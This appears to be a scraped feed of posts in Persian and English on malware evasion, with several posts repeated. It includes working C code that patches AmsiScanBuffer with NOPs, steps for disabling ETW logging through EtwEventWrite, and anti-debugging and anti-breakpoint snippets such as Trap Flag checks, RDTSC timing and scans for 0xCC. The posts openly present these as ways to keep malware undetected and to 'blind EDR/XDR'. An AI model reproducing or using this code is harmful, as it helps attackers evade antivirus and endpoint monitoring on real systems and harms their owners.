1 730
22 Aug 2025, 03:37
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(GetCurrentThread(), &ctx); if (ctx.EFlags & 0x100) // Trap Flag فعال { // دیباگر در حالت Single-Step }Using Debugger-Specific APIs In Windows if the Trap Flag (TF) is enabled on a thread it means the debugger is in Single-Step mode By using the GetThreadContext function you can read the value of the EFLAGS/RFLAGS register and check it:
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(GetCurrentThread(), &ctx); if (ctx.EFlags & 0x100) // Trap Flag is enabled { // Debugger is in Single-Step mode }
void PatchAMSI() { HMODULE hAmsi = LoadLibraryA("amsi.dll"); if (hAmsi) { void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer"); DWORD oldProtect; VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect); memset(pAmsiScanBuffer, 0x90, 6); // NOP VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect); } } int main() { PatchAMSI(); printf("AMSI Patched!\n"); }✅ مزایا: جلوی لاگ شدن فعالیتهای مشکوک توسط ویندوز گرفته میشه جلوی اسکن محتوای اسکریپتها توسط AV رو میگیره ترکیب ETW + AMSI Patch باعث میشه EDR/XDR کور بشن ⚠️ چالشها: بسیاری از EDRها تلاش برای پچ کردن این توابع رو هم مانیتور میکنن باید با Direct Syscalls یا Manual Unhook ترکیب بشه برای پایداری 🛡️ ETW Bypass + AMSI Patch Blinding Windows before executing code 🎯 What’s the problem? When you run malware or a malicious script on a system even if you’ve bypassed the AV two default Windows mechanisms can still report it: 1 ETW (Event Tracing for Windows) Windows’ internal monitoring system that logs a huge number of events from process execution API calls and even syscalls 2 AMSI (Antimalware Scan Interface) Before executing script-based code like PowerShell or VBA it sends the content to the AV for scanning 💡 The solution: ETW Bypass Modify or patch ETW functions like EtwEventWrite so that nothing gets logged AMSI Patch Change the return value of AmsiScanBuffer to S_OK (meaning code is clean) so the AV won’t block anything 🧬 General Steps for ETW Bypass: 1 Get the address of EtwEventWrite from ntdll.dll 2 Patch the first few bytes (usually xor rax, rax; ret) 3 Ensure the patch is applied before starting sensitive operations 🧬 General Steps for AMSI Patch: 1 Get a handle to amsi.dll 2 Find the address of AmsiScanBuffer 3 Change the first instruction to return 0 (S_OK) 4 After this, any suspicious code reported as clean 🛠️ Sample AMSI Patch Code (C): #include <windows.h> #include <stdio.h>
void PatchAMSI() { HMODULE hAmsi = LoadLibraryA("amsi.dll"); if (hAmsi) { void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer"); DWORD oldProtect; VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect); memset(pAmsiScanBuffer, 0x90, 6); // NOP VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect); } } int main() { PatchAMSI(); printf("AMSI Patched!\n"); }✅ Advantages: Prevents Windows from logging suspicious activities Stops the AV from scanning script contents Combining ETW + AMSI patch can blind EDR/XDR solutions ⚠️ Challenges: Many EDRs monitor attempts to patch these functions Needs to be combined with Direct Syscalls or Manual Unhooking for stability
rdtsc mov ebx, eax rdtsc sub eax, ebx cmp eax, 500 jae debugger_detected Using RDTSC (Read Time-Stamp Counter) The RDTSC instruction returns the number of CPU cycles since the system was powered on Normally the time difference between two consecutive RDTSC instructions is very small But when a debugger runs the program in Single-Step mode this difference becomes thousands of times larger
rdtsc mov ebx, eax rdtsc sub eax, ebx cmp eax, 500 jae debugger_detected
mov eax, [target_addr] cmp byte ptr [eax], 0xCC je debugger_found2️⃣ استفاده از Checksum روی کد برنامه به صورت دورهای یک Checksum از باینری یا بخشهای حساس خودش میگیره اگر دیباگر یا مهاجم تغییراتی ایجاد کرده باشه (مثلا گذاشتن Breakpoint) Checksum تغییر میکنه مثال: محاسبه MD5/SHA1 از بخش .text مقایسه با مقدار ذخیرهشده داخل برنامه 3️⃣ پاک کردن Breakpoint قبل از اجرا بعضی برنامهها قبل از اجرای قسمت حساس تمام کد خودشون رو اسکن میکنن و اگر 0xCC پیدا کردن اون رو به دستور اصلی برمیگردونن 4️⃣ استفاده از Breakpoint سختافزاری (Hardware BP) برای ضدحمله بعضی بدافزارها برعکس عمل میکنن: خودشون Breakpoint سختافزاری روی کد میذارن تا اگر دیباگر بخواد دخالت کنه باعث رفتار غیرمنتظره بشه 5️⃣ استفاده از API برای تشخیص تغییرات در ویندوز با APIهایی مثل VirtualQuery یا GetThreadContext میشه متوجه شد که آیا کدی تغییر کرده یا Breakpoint فعال شده 🎯 Anti-Breakpoint Techniques These techniques are designed so that the debugger can’t easily set breakpoints on your code or if it does the program detects it and reacts 1️⃣ Detecting Software Breakpoints (Software BP) In debuggers like OllyDbg or x64dbg when a software breakpoint is set the debugger replaces the current instruction with an INT 3 instruction (opcode: 0xCC) 📌 Idea: We can check our own code to see if there’s a 0xCC where it shouldn’t be Assembly example:
mov eax, [target_addr] cmp byte ptr [eax], 0xCC je debugger_found2️⃣ Using Checksum on the Code The program periodically calculates a checksum of its binary or sensitive sections If a debugger or attacker has modified something (e.g. by setting a breakpoint) the checksum will change Example: Calculate MD5/SHA1 of the .text section Compare it with a stored value inside the program 3️⃣ Clearing Breakpoints Before Execution Some programs scan all their own code before executing sensitive parts and if they find a 0xCC they restore it back to the original instruction 4️⃣ Using Hardware Breakpoints for Counterattack Some malware does the opposite: it sets hardware breakpoints on its own code so that if a debugger tries to interfere, it causes unexpected behavior 5️⃣ Using APIs to Detect Changes In Windows APIs like VirtualQuery or GetThreadContext can be used to detect whether the code has been modified or if a breakpoint is active

We use cookies to improve your browsing experience.
By clicking “Accept all”, you agree to the cookie policy.